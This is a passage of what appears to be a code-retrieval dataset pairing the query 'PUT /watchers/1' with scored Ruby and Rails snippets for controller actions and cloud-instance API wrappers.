"score": "0.5852821",
"text": "def show\n @instance = Instance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @instance }\n end\n end",
"title": ""
},
{
"docid": "3eb5cea36c4f697b8d46fe0cac3cc6d6",
"score": "0.58516365",
"text": "def show\n @instance = Instance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @instance }\n end\n end",
"title": ""
},
{
"docid": "f933dc1d2725d72be5ffcb7df1a77d94",
"score": "0.5850169",
"text": "def instance_info(id=0)\n\t\treturn return_reply('instance/info', { 'id' => id })\n\tend",
"title": ""
},
{
"docid": "eca254ca966e57eee13641489c7f4a19",
"score": "0.58344316",
"text": "def list_instance(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:query]['Action'] = 'ListInstance'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "eca254ca966e57eee13641489c7f4a19",
"score": "0.58344316",
"text": "def list_instance(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:query]['Action'] = 'ListInstance'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "6e6f40d4049be63d677cd968e2402760",
"score": "0.5815862",
"text": "def terminate_instance\n puts \"OK, select the instance to terminate:\"\n\n response = RestClient.post( \n $uri,\n 'Version' => '2010-12-30',\n 'ACSAccessKeyId' => $ACSAccessKeyId,\n 'Format' => 'json',\n 'Timestamp' => $current_time,\n 'Rndguid' => $rndguid,\n 'Signature' => calculate_signature($api_private_key, $rndguid, $current_time),\n 'Action' => \"list-instances\")\n\n response = JSON.parse(response)\n\n response[\"list-instancesresponse\"][\"instancesSet\"].each do |item|\n\n puts item[1][\"InstanceId\"]\n puts item[1][\"vm_description\"]\n end\nend",
"title": ""
},
{
"docid": "4b0a5342517e54cedaabc891331afbb1",
"score": "0.58030665",
"text": "def show\n @redis_instance = RedisInstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @redis_instance }\n end\n end",
"title": ""
},
{
"docid": "120aebfb6451f65ca6d645bb710d015e",
"score": "0.58020806",
"text": "def show\n @instance = Instance.where(:instanceid => params[:instanceid]).first #find(params[:id]) \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @instance }\n end\n end",
"title": ""
},
{
"docid": "75cbcf56e70b6f05f18bf63abd4293fd",
"score": "0.57968205",
"text": "def index\n self.class.get(\"/cards/index.xml\");\n end",
"title": ""
},
{
"docid": "34db17ca934294b044c6e783835f4b05",
"score": "0.5776858",
"text": "def describe_instances(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeInstances'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :instance_ids\n\t\t\targs[:query]['InstanceIds'] = optional[:instance_ids]\n\t\tend\n\t\tif optional.key? :instance_status\n\t\t\traise ArgumentError, 'instance_status must be Available|Changing|Creating|Unavailable' unless 'Available|Changing|Creating|Unavailable'.split('|').include? optional[:instance_status]\n\t\t\targs[:query]['InstanceStatus'] = optional[:instance_status]\n\t\tend\n\t\tif optional.key? :network_type\n\t\t\traise ArgumentError, 'network_type must be CLASSIC|VPC' unless 'CLASSIC|VPC'.split('|').include? optional[:network_type]\n\t\t\targs[:query]['NetworkType'] = optional[:network_type]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :page_number\n\t\t\traise ArgumentError, 'page_number must be equal or greater than 1' unless optional[:page_number] < 1\n\t\t\targs[:query]['PageNumber'] = optional[:page_number]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\traise ArgumentError, 'page_size must be equal or greater than 1' unless optional[:page_size] < 1\n\t\t\traise ArgumentError, 'page_size must be equal or less than 50' unless optional[:page_size] > 50\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :private_ip_addresses\n\t\t\targs[:query]['PrivateIpAddresses'] = optional[:private_ip_addresses]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :v_switch_id\n\t\t\targs[:query]['VSwitchId'] = optional[:v_switch_id]\n\t\tend\n\t\tif optional.key? :vpc_id\n\t\t\targs[:query]['VpcId'] = optional[:vpc_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "767ea7b83f155650bc0483001f92de9f",
"score": "0.576908",
"text": "def instance(instance_name)\n get_json(instance_endpoint(instance_name))\n end",
"title": ""
},
{
"docid": "27519824b67207bccfba0de28d5b2919",
"score": "0.5765515",
"text": "def url; \"http://localhost:3000/sdn.xml\"; end",
"title": ""
},
{
"docid": "8ac30b00adc7f80efe49d4e06f030df2",
"score": "0.57618475",
"text": "def index\n @internship_instances = InternshipInstance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @internship_instances }\n end\n end",
"title": ""
},
{
"docid": "dee41160c1cd9449c9fdfbab080046d6",
"score": "0.5760428",
"text": "def get_instances\n @resp.reservations.each do |i|\n @stopped_instances.push(i.instances[0][:instance_id])\n end\nend",
"title": ""
},
{
"docid": "8043489a213f505116e687a982c18d8e",
"score": "0.57584953",
"text": "def index\n @project_instances = ProjectInstance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @project_instances }\n end\n end",
"title": ""
},
{
"docid": "82d9a9893bc12ebf65bb79d3643d6bc1",
"score": "0.5754643",
"text": "def get_instance_status\n instance_status = JSON.parse(IO.read('public/ancor-api-sample/instances.json'))\n end",
"title": ""
},
{
"docid": "747216aa107df7925ea91ba8c949887d",
"score": "0.57441753",
"text": "def app_instances(name)\n require_login\n raise CloudFoundry::Client::Exception::BadParams, \"Name cannot be blank\" if name.nil? || name.empty?\n get(\"#{CloudFoundry::Client::APPS_PATH}/#{name}/instances\")\n end",
"title": ""
},
{
"docid": "f74b238658cb4f3911335a47f295ec39",
"score": "0.57242674",
"text": "def get_instances\n\t\t\t@cluster.getInstances()\n\t\tend",
"title": ""
},
{
"docid": "4f37e899d1561c2491163e9af6d49692",
"score": "0.57114285",
"text": "def describe_instances()\n output = cache_get('describe_instances', 300) do\n aws_object = Aws::EC2::Client.new(region: @region)\n pages = aws_object.describe_instances\n output = process_page( 'reservations', pages)\n end\n return output\n end",
"title": ""
},
{
"docid": "5eeb9b4c6cd359a575fb42046865c83d",
"score": "0.5702762",
"text": "def show\r\n @ips = Ip.find(params[:id])\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @ips.to_xml(:dasherize => false) }\r\n end\r\n end",
"title": ""
},
{
"docid": "afb6e09c807006631ad9cc509eeee502",
"score": "0.5697466",
"text": "def show\n @instancia = Instancia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instancia }\n end\n end",
"title": ""
},
{
"docid": "c59b123c659c6a361cbeb0d43e8625a8",
"score": "0.5690423",
"text": "def show\n @nagios_service_escalation = NagiosServiceEscalation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nagios_service_escalation }\n end\n end",
"title": ""
},
{
"docid": "e36742f88050f66efe4663e46fb82223",
"score": "0.5688222",
"text": "def instance_url\n # make sure it ends with /\n url = @connection.client.instance_url\n url += '/' if url[-1] != '/'\n return url\n end",
"title": ""
},
{
"docid": "042345bb5e1560c1db9ea3d4caac4e6f",
"score": "0.56732845",
"text": "def show\n #@redis_instance = RedisInstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @redis_instance }\n end\n end",
"title": ""
},
{
"docid": "f3bbf8184dddf3f1d953f71cd70abaa1",
"score": "0.5664884",
"text": "def show\n @instants = Instants.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instants }\n end\n end",
"title": ""
},
{
"docid": "d57fa0b690729a1cb5b30ac229adf2f8",
"score": "0.56583333",
"text": "def show\n @ip_service = IpService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ip_service }\n end\n end",
"title": ""
},
{
"docid": "bcafa25590077ec25f67bb74e72b594d",
"score": "0.5655739",
"text": "def input_instance_id\n client.clouds(:id => cloud_id).show.instances.index[1].show.href.split('/')[-1]\nend",
"title": ""
},
{
"docid": "0eb809381d474f639e60b318a303a57c",
"score": "0.5650337",
"text": "def show\n @server = Server.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @server }\n end\n end",
"title": ""
},
{
"docid": "84935e140d35b859ae372b29b6af2a2b",
"score": "0.5648109",
"text": "def show\n @nagios_host_template = NagiosHostTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nagios_host_template }\n end\n end",
"title": ""
},
{
"docid": "183362b2c4de9aca1df5762e25614731",
"score": "0.56480527",
"text": "def describe_instance(instance_id)\n response = api_call('describe-instance', {instanceid: instance_id})\n response[\"describe-instanceresponse\"][\"instanceSet\"][\"item\"]\n end",
"title": ""
},
{
"docid": "b732c3cb4aaa6578b4a0f4df14c99db6",
"score": "0.5639112",
"text": "def show\n @example = Example.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @example }\n end\n end",
"title": ""
},
{
"docid": "b48b56172d94b39a5fb0e0e7b5d299e8",
"score": "0.5633747",
"text": "def show\n @counter_images_set = CounterImagesSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @counter_images_set }\n end\n end",
"title": ""
},
{
"docid": "c4f54caf6f841a414e0646cc9d5b22e5",
"score": "0.56228817",
"text": "def index\n @machines = current_cloud.machines\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @machines }\n end\n end",
"title": ""
},
{
"docid": "291c83fef62842e3eb368c68e63d2489",
"score": "0.5619",
"text": "def new\n @instance = Instance.new(params)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instance }\n end\n end",
"title": ""
},
{
"docid": "d616f0f2e6d97e0f84a37e47ea57a207",
"score": "0.5610496",
"text": "def show\n @instance = Instance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instance }\n format.json { render :json => @instance }\n format.js { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "ef1452e307c3d5346574cd48f01ef44b",
"score": "0.56067926",
"text": "def list_instance_infos(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ListInstanceInfos'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :event_type\n\t\t\targs[:query]['EventType'] = optional[:event_type]\n\t\tend\n\t\tif optional.key? :instance_ids\n\t\t\targs[:query]['InstanceIds'] = optional[:instance_ids]\n\t\tend\n\t\tif optional.key? :instance_name\n\t\t\targs[:query]['InstanceName'] = optional[:instance_name]\n\t\tend\n\t\tif optional.key? :instance_type\n\t\t\targs[:query]['InstanceType'] = optional[:instance_type]\n\t\tend\n\t\tif optional.key? :jst_owner_id\n\t\t\targs[:query]['JstOwnerId'] = optional[:jst_owner_id]\n\t\tend\n\t\tif optional.key? :page_number\n\t\t\targs[:query]['PageNumber'] = optional[:page_number]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :region\n\t\t\targs[:query]['Region'] = optional[:region]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "d09b36f7b03f0452813bfb0fc5008656",
"score": "0.5603959",
"text": "def index\n @auto_scaling_group = AutoScalingGroup.find(params[:auto_scaling_group_id])\n\t\t@provider_account = @auto_scaling_group.provider_account\n\t\t@instances = @auto_scaling_group.instances || []\n\n respond_to do |format|\n format.html { render :template => 'auto_scaling_group/instances/index' }\n format.xml { render :xml => @instances }\n format.js { render :template => 'auto_scaling_group/instances/index', :layout => false }\n end\n\tend",
"title": ""
},
{
"docid": "2a1d8b42c8752d21c187dc5c4c037a7c",
"score": "0.5598695",
"text": "def index\n @clusters = Cluster.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clusters }\n end\n end",
"title": ""
},
{
"docid": "b1a27a612c36f7180806c7fc1ad90014",
"score": "0.55893624",
"text": "def instances\n ensure_ingredient_present; return if performed?\n ensure_application_root; return if performed?\n ensure_template; return if performed?\n\n @instances = @ingredient.instances\n respond_to do |format|\n format.html\n format.json {render json: @instances}\n end\n end",
"title": ""
},
{
"docid": "3aa2e41d2fe619f95e5cd3b314ea8813",
"score": "0.55860895",
"text": "def show\n @hypervisor = Hypervisor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hypervisor }\n end\n end",
"title": ""
},
{
"docid": "d49ed44011e27ca3682731a15b70119f",
"score": "0.55850977",
"text": "def show\n @institucion = Institucion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @institucion }\n end\n end",
"title": ""
},
{
"docid": "95d28fd51c5820d5dd871c99c46c8846",
"score": "0.55785495",
"text": "def show\n @api_version = ApiVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @api_version }\n end\n end",
"title": ""
},
{
"docid": "ce4dba887e91963d972cd62cf85c6219",
"score": "0.5573691",
"text": "def show\n @instance_kind_category = InstanceKindCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instance_kind_category }\n end\n end",
"title": ""
},
{
"docid": "37be0ceb4da264628d6c479dd96d6833",
"score": "0.55714214",
"text": "def show\n @ping = Ping.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ping }\n end\n end",
"title": ""
},
{
"docid": "191475196f1c8e402e0bbf29826fd7e4",
"score": "0.55649215",
"text": "def show\n @version = Version.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @version }\n end\n end",
"title": ""
},
{
"docid": "05b15feaae8b01d1ec17b03ab8a2eef6",
"score": "0.5564213",
"text": "def describe_instances(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeInstances'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :charge_type\n\t\t\traise ArgumentError, 'charge_type must be PostPaid|PrePaid' unless 'PostPaid|PrePaid'.split('|').include? optional[:charge_type]\n\t\t\targs[:query]['ChargeType'] = optional[:charge_type]\n\t\tend\n\t\tif optional.key? :instance_ids\n\t\t\targs[:query]['InstanceIds'] = optional[:instance_ids]\n\t\tend\n\t\tif optional.key? :instance_status\n\t\t\traise ArgumentError, 'instance_status must be Changing|Creating|Flushing|Inactive|Normal|Released' unless 'Changing|Creating|Flushing|Inactive|Normal|Released'.split('|').include? optional[:instance_status]\n\t\t\targs[:query]['InstanceStatus'] = optional[:instance_status]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :page_number\n\t\t\traise ArgumentError, 'page_number must be equal or greater than 1' unless optional[:page_number] < 1\n\t\t\targs[:query]['PageNumber'] = optional[:page_number]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\traise ArgumentError, 'page_size must be equal or greater than 1' unless optional[:page_size] < 1\n\t\t\traise ArgumentError, 'page_size must be equal or less than 50' unless optional[:page_size] > 50\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "dba2f60e3c4e8d33c545e7d42c49e688",
"score": "0.5561786",
"text": "def show\n @usecasecluster = Usecasecluster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @usecasecluster }\n end\n end",
"title": ""
},
{
"docid": "0d3af6b538275fd93a5da0dccd003808",
"score": "0.5557332",
"text": "def show\n respond_to do |format|\n format.html { render :action => :index }\n format.xml { @image_set = ImageSet.find(params[:id]); render :xml => @image_set }\n end\n end",
"title": ""
},
{
"docid": "ba040e4ed3afae7d1ab4f39ca4564de7",
"score": "0.5556019",
"text": "def show\n @nagios_service = NagiosService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nagios_service }\n end\n end",
"title": ""
},
{
"docid": "271dd2f2f5a183235498cdb7a2b6206a",
"score": "0.55553263",
"text": "def show\n @search = @task.outputs.metasearch(params[:search])\n @outputs = @search.paginate(:page => @page, :per_page => @per_page)\n \n @title << \"##{@task.id}\"\n \n @instances = @task.fetch_instances_info\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end",
"title": ""
},
{
"docid": "d62d9bf0604c6160632e51b88f8bb481",
"score": "0.5554898",
"text": "def index\n @physical_instances = PhysicalInstance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @physical_instances }\n end\n end",
"title": ""
},
{
"docid": "36d07ff97e75eaca4def8b91d3ebe4a6",
"score": "0.55467516",
"text": "def get_instance(instance, opts = {})\n raise ArgumentError unless instance.is_a? String\n c = @client[\"#{@account}/instances/#{instance}\"]\n headers = gen_headers(opts)\n attempt(opts[:attempts]) do\n do_get(c, headers)\n end\n\n end",
"title": ""
},
{
"docid": "f7679cdfebaba88c305073185fe0092f",
"score": "0.5541939",
"text": "def show\n @status = Status.find(1)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @status }\n end\n end",
"title": ""
},
{
"docid": "8694f5341b980241c39f85e168c32272",
"score": "0.5533882",
"text": "def index\n @activity = Activity.find(params[:activity_id])\n respond_to do |format|\n format.html { redirect_to [ @activity.user, @activity ] }\n format.json { render json: @activity.instances }\n end\n end",
"title": ""
},
{
"docid": "764de76443daf13beda61b14a266ea71",
"score": "0.5532289",
"text": "def get_xml\n end",
"title": ""
},
{
"docid": "bfe2150152e149e4430639bbc711ec54",
"score": "0.553062",
"text": "def instances\n @instances\n end",
"title": ""
},
{
"docid": "b4babd73dbbe185dbf8d19d5a7d5af48",
"score": "0.5530482",
"text": "def add_status\n EngineyardAPI::API.get(\"#{@path}/add_instances\")\n end",
"title": ""
},
{
"docid": "f2f8039ffbdcedbc60bb69ee66fc281b",
"score": "0.5530134",
"text": "def show\n @scrap_xml = ScrapXml.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scrap_xml }\n end\n end",
"title": ""
},
{
"docid": "07afa7b2292e53c00b82d7382abe4c14",
"score": "0.55293137",
"text": "def show\n @ip = Ip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ip }\n end\n end",
"title": ""
},
{
"docid": "07afa7b2292e53c00b82d7382abe4c14",
"score": "0.55293137",
"text": "def show\n @ip = Ip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ip }\n end\n end",
"title": ""
},
{
"docid": "e08730945173244d080d0bf1887b4107",
"score": "0.5527086",
"text": "def xml(options = {})\n host = Picasa.host\n path = Picasa.path(options)\n url = URI(\"#{host}#{path}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n\n req = add_auth_headers(Net::HTTP::Get.new url.path)\n\n response = http.request(req)\n if response.code =~ /20[01]/\n response.body\n end\n end",
"title": ""
},
{
"docid": "5e39c7644bd8f0bdf5ba43c39c51544c",
"score": "0.55239123",
"text": "def index\n @life_cycles = do_index(LifeCycle, params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @life_cycles }\n end\n end",
"title": ""
},
{
"docid": "cdfd9560ce1aa798e70e261f54ad99b0",
"score": "0.55193007",
"text": "def show\n \n Instance.sync_with_ec2\n \n @farm = Farm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @farm }\n format.json { render :json => @farm }\n end\n end",
"title": ""
},
{
"docid": "e41893e82f3e87195cb1c0869d9f5e21",
"score": "0.5519015",
"text": "def getXML(url)\n puts \"Requesting from \" + url.to_s\n url = URI.parse(url)\n req = Net::HTTP::Get.new(url.to_s)\n res = Net::HTTP.start(url.host, url.port) { |http|\n http.request(req)\n }\n return res.body\nend",
"title": ""
},
{
"docid": "48f103610ed3499834000a34f047022e",
"score": "0.5516425",
"text": "def get_instance(id)\n resource.instance(id)\n end",
"title": ""
},
{
"docid": "6cccd9cb3da498373cb4fce66a66dd3d",
"score": "0.551565",
"text": "def show\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @servico }\n end\n end",
"title": ""
},
{
"docid": "19d01862a433accbcfcf7f7ccdb4dc41",
"score": "0.5512175",
"text": "def show\n @metric = Metric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @metric }\n end\n end",
"title": ""
},
{
"docid": "e5d513d55d530943adb6f4464694b30c",
"score": "0.5503407",
"text": "def aws_facts\n uri = URI.parse(\"http://169.254.169.254/latest/dynamic/instance-identity/document\")\n body = Net::HTTP.get_response(uri).body\n JSON.parse(body)\nend",
"title": ""
},
{
"docid": "c817bef0b10e88075fd1caf5bab2c5a9",
"score": "0.5503047",
"text": "def show\n @internship_instance = InternshipInstance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @internship_instance }\n end\n end",
"title": ""
},
{
"docid": "f2351aebd15257062682e3628079146e",
"score": "0.5494071",
"text": "def show\n @host = Host.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @host }\n end\n end",
"title": ""
},
{
"docid": "f2351aebd15257062682e3628079146e",
"score": "0.5494071",
"text": "def show\n @host = Host.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @host }\n end\n end",
"title": ""
},
{
"docid": "f2351aebd15257062682e3628079146e",
"score": "0.5494071",
"text": "def show\n @host = Host.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @host }\n end\n end",
"title": ""
},
{
"docid": "be51a3cd54776ff38dbbec6287757176",
"score": "0.54920614",
"text": "def show\n @startup = Startup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @startup }\n end\n end",
"title": ""
},
{
"docid": "be51a3cd54776ff38dbbec6287757176",
"score": "0.54920614",
"text": "def show\n @startup = Startup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @startup }\n end\n end",
"title": ""
}
] |
00995244facfb77d4f818f386a62b611
|
PUT /watchers/1 PUT /watchers/1.json
|
[
{
"docid": "6842812f019dad48c0d0722a31d2dc3c",
"score": "0.67192936",
"text": "def update\n @watcher = Watcher.find(params[:id])\n\n respond_to do |format|\n if @watcher.update_attributes(params[:watcher])\n format.html { redirect_to @watcher, notice: 'Watcher was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @watcher.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "64be3b7b97d5e0ac04ab3308d1ee9c5e",
"score": "0.67675734",
"text": "def update\n @watcher = Watcher.find(params[:id])\n\n respond_to do |format|\n if @watcher.update_attributes(params[:watcher])\n format.html { redirect_to @watcher, notice: 'Watcher was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @watcher.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc38c6abc6c3b13fc6220706c3486beb",
"score": "0.6629651",
"text": "def update\n @prayer_watch = PrayerWatch.find(params[:id])\n\n respond_to do |format|\n if @prayer_watch.update_attributes(params[:prayer_watch])\n format.html { redirect_to @prayer_watch, notice: 'Prayer watch was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prayer_watch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba9378b0dc0d0324005e5918ff5aff07",
"score": "0.65998805",
"text": "def update\n @my_watch = MyWatch.find(params[:id])\n\n respond_to do |format|\n if @my_watch.update_attributes(params[:my_watch])\n format.html { redirect_to @my_watch, notice: 'My watch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_watch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "700c5551ab06f7696aab74fc8c86cc9c",
"score": "0.65984833",
"text": "def set_watch\n @watch = Watch.find(params[:id])\n end",
"title": ""
},
{
"docid": "700c5551ab06f7696aab74fc8c86cc9c",
"score": "0.65984833",
"text": "def set_watch\n @watch = Watch.find(params[:id])\n end",
"title": ""
},
{
"docid": "700c5551ab06f7696aab74fc8c86cc9c",
"score": "0.65984833",
"text": "def set_watch\n @watch = Watch.find(params[:id])\n end",
"title": ""
},
{
"docid": "700c5551ab06f7696aab74fc8c86cc9c",
"score": "0.65984833",
"text": "def set_watch\n @watch = Watch.find(params[:id])\n end",
"title": ""
},
{
"docid": "45941a35ef0710d220c8a2f499af56d3",
"score": "0.65228903",
"text": "def set_watcher\n @watcher = Watcher.find(params[:id])\n end",
"title": ""
},
{
"docid": "45941a35ef0710d220c8a2f499af56d3",
"score": "0.65228903",
"text": "def set_watcher\n @watcher = Watcher.find(params[:id])\n end",
"title": ""
},
{
"docid": "39f05a554d71ed1d58c5dc79c65cc7ea",
"score": "0.6440746",
"text": "def set_watching\n @watching = Watching.find(params[:id])\n end",
"title": ""
},
{
"docid": "5ae636ca6e5615e940469032e62a2c39",
"score": "0.6381464",
"text": "def set_towatch\n @towatch = Towatch.find(params[:id])\n end",
"title": ""
},
{
"docid": "818bad51cc4296573355e06ac405a8d4",
"score": "0.63547236",
"text": "def update\n respond_to do |format|\n if @watcher.update(watcher_params)\n format.html { redirect_to @watcher, notice: 'Watcher was successfully updated.' }\n format.json { render :show, status: :ok, location: @watcher }\n else\n format.html { render :edit }\n format.json { render json: @watcher.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51650288217a91f1b31872356c7316ab",
"score": "0.6353479",
"text": "def update\n respond_to do |format|\n if @watching.update(watching_params)\n format.html { redirect_to @watching, notice: 'Watching was successfully updated.' }\n format.json { render :show, status: :ok, location: @watching }\n else\n format.html { render :edit }\n format.json { render json: @watching.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3166e9f4cea715f612c628640634503a",
"score": "0.6127726",
"text": "def set_watching\n @watching = Watching.find(params[:id])\n\n Watching.create! url: watching_params[:url] if @watching.nil?\n\n @watching\n end",
"title": ""
},
{
"docid": "3a76fd46762151ed35ad3806763ad9b8",
"score": "0.60529387",
"text": "def watch_endpoint\n version_prefix + '/watch'\n end",
"title": ""
},
{
"docid": "8ddb1c59779f8edd17bf50ca22c2898a",
"score": "0.6018713",
"text": "def set_watched\n @watched = Watched.find(params[:id])\n end",
"title": ""
},
{
"docid": "fadbfa5ff7afad0e4794b85cdb14bd93",
"score": "0.6018043",
"text": "def set_watch_list\n @watch_list = WatchList.find(params[:id])\n end",
"title": ""
},
{
"docid": "ea831aeb3aa439263457417ab5189df1",
"score": "0.6001798",
"text": "def watchers(options = {})\n watchers_resource(options)\n end",
"title": ""
},
{
"docid": "a13709fff462a0be0311fe3d42ef4fa9",
